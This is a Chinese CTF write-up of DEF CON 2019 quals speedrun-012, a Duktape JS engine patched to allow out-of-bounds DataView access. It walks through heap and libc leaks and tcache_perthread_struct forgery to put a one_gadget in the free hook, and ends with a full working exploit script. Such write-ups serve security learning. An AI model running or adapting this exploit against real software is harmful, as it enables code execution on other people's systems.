第一次在De1ta跟师傅们一起打defcon,收获不少,记录一下

题目描述

The TranspOOOrter.
hint: https://gist.github.com/adamdoupe/9fb1fed69421e789a0a623af912e456a
speedrun-012.quals2019.oooverflow.io 31337
Files: speedrun-012
题目源码:https://github.com/o-o-overflow

思路分析

题目给的hint是个diff文件,出题人魔改了duktape这个js引擎,留下了两处可以利用的漏洞

首先是duk_bi_buffer_writefield这个函数,8bit的情况

@@ -2347,10 +2344,7 @@
switch (magic_ftype) {
case DUK__FLD_8BIT: {
duk_uint8_t tmp;
- if (offset + 1U > check_length) {
- goto fail_bounds;
- }
- tmp = buf[offset];
+ tmp = buf[offset_signed];
if (magic_signed) {
duk_push_int(thr, (duk_int_t) ((duk_int8_t) tmp));
} else {

offset_signed可以是负数,也就是可以往前读

然后是duk_bi_buffer_readfield函数,32bit的情况

@@ -2653,16 +2670,13 @@
}
case DUK__FLD_32BIT: {
duk_uint32_t tmp;
- if (offset + 4U > check_length) {
- goto fail_bounds;
- }
tmp = (duk_uint32_t) duk_to_uint32(thr, 0);
if (endswap) {
tmp = DUK_BSWAP32(tmp);
}
du.ui[0] = tmp;
/* sign doesn't matter when writing */
- duk_memcpy((void *) (buf + offset), (const void *) du.uc, 4);
+ duk_memcpy((void *) (buf + offset_signed), (const void *) du.uc, 4);
break;
}
case DUK__FLD_FLOAT: {

同样可以是负数,可以往前写内容

我对js并没有接触过,所以解题用的时间比较久

看看开了什么保护蛤

[*] '/home/anonymous/\xe4\xb8\x8b\xe8\xbd\xbd/speedrun-012'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

全开,enmmmm,题目说了环境都是Ubuntu18.04,也就是glibc2.27,md5:50390b2ae8aaa73c47745040f54e602f

随便输点东西试试

var buffer = new OOOArrayBufferOOO(0xab);
var d = new DataView(buffer);
d.setUint32(0,0x61616161);
d.setUint32(4,0x62626262);

用gdb搜索字符串aaaabbbb,发现有趣的东西
观察到以下chunk

0x5555557d6b70: 0x0000000000000000 0x00000000000000e1
0x5555557d6b80: 0x0000000200000002 0x00005555557d87b0
0x5555557d6b90: 0x00005555557d6b20 0x00000000000000ab //猜测一下这个是size
0x5555557d6ba0: 0x6262626261616161 0x0000000000000000 //这里是buffer的存储区
0x5555557d6bb0: 0x0000000000000000 0x0000000000000000
0x5555557d6bc0: 0x0000000000000000 0x0000000000000000
0x5555557d6bd0: 0x0000000000000000 0x0000000000000000
0x5555557d6be0: 0x0000000000000000 0x0000000000000000
0x5555557d6bf0: 0x0000000000000000 0x0000000000000000
0x5555557d6c00: 0x0000000000000000 0x0000000000000000
0x5555557d6c10: 0x0000000000000000 0x0000000000000000
0x5555557d6c20: 0x0000000000000000 0x0000000000000000
0x5555557d6c30: 0x0000000000000000 0x0000000000000000
0x5555557d6c40: 0x0000000000000000 0xffffffffff000000
0x5555557d6c50: 0xffffffffffffffff 0x0000000000000061

那不管那么多,先去把堆的地址leak了先(虽然后面没用到...)

var heap_addr="0x"+d.getUint8(-11).toString(16)+d.getUint8(-12).toString(16)+d.getUint8(-13).toString(16)+d.getUint8(-14).toString(16)+d.getUint8(-15).toString(16)+d.getUint8(-16).toString(16);print (heap_addr);

顺手改一下size,改完后就可以往更远的地址读写啦!!!

d.setUint32(-4,0xffff);

想办法leak一个libc的地址,enmmm

var test=new OOOArrayBufferOOO(0xfa);test=null;

貌似变量置空js引擎会自动回收内存,具体不太清楚,反正gdb观测到远处有个unsorted bin了,enmmm,去把地址读出来

var libc_addr=d.getUint8(0x315)*(2**40)+d.getUint8(0x314)*(2**32)+d.getUint8(0x313)*(2**24)+d.getUint8(0x312)*(2**16)+d.getUint8(0x311)*(2**8)+d.getUint8(0x310);var libc_base=libc_addr-0x3ebca0;print (libc_base);
var one_gadget=libc_base+0x4f322;
var free_hook=libc_base+4118760-0x20;print(free_hook);

就剩下触发one_gadget了,yeah

我用了个比较麻烦的方法,写tcache_perthread_struct伪造tcache,然后分配到free_hook,写入one_gadget

d.setUint32(-0x1f110,malloc_hook&0xffffffff,true);
d.setUint32(-0x1f114+8,OOOMathOOO.round(malloc_hook/(2**32)-0.5),true);
d.setUint32(-0x1f224,0x00020100);
var z = new OOOArrayBufferOOO(0x1d0); // free_hook hahah
var g = new DataView(z);
g.setUint32(0,o&0xffffffff,true);
g.setUint32(4,OOOMathOOO.round(o/(2**32)-0.5),true)

其实堆上应该有不少函数指针可以写的吧,没仔细研究,enmmmm

poc

var buffer = new OOOArrayBufferOOO(0xab);var d = new DataView(buffer);d.setUint32(0,0x61616161);d.setUint32(4,0x62626262);var heap_addr="0x"+d.getUint8(-11).toString(16)+d.getUint8(-12).toString(16)+d.getUint8(-13).toString(16)+d.getUint8(-14).toString(16)+d.getUint8(-15).toString(16)+d.getUint8(-16).toString(16);print (heap_addr);var test=new OOOArrayBufferOOO(0xfa);test=null;d.setUint32(-4,0xffff);var libc_addr=d.getUint8(0x315)*(2**40)+d.getUint8(0x314)*(2**32)+d.getUint8(0x313)*(2**24)+d.getUint8(0x312)*(2**16)+d.getUint8(0x311)*(2**8)+d.getUint8(0x310);var libc_base=libc_addr-0x3ebca0;print (libc_base);var o=libc_base+0x4f322;var malloc_hook=libc_base+4118760-0x20;print(malloc_hook);d.setUint32(-0x1f110,malloc_hook&0xffffffff,true);d.setUint32(-0x1f114+8,OOOMathOOO.round(malloc_hook/(2**32)-0.5),true);d.setUint32(-0x1f224,0x00020100);var z = new OOOArrayBufferOOO(0x1d0);var g = new DataView(z);g.setUint32(0,o&0xffffffff,true);g.setUint32(4,OOOMathOOO.round(o/(2**32)-0.5),true)

小结

挺好玩的题目,enmmmm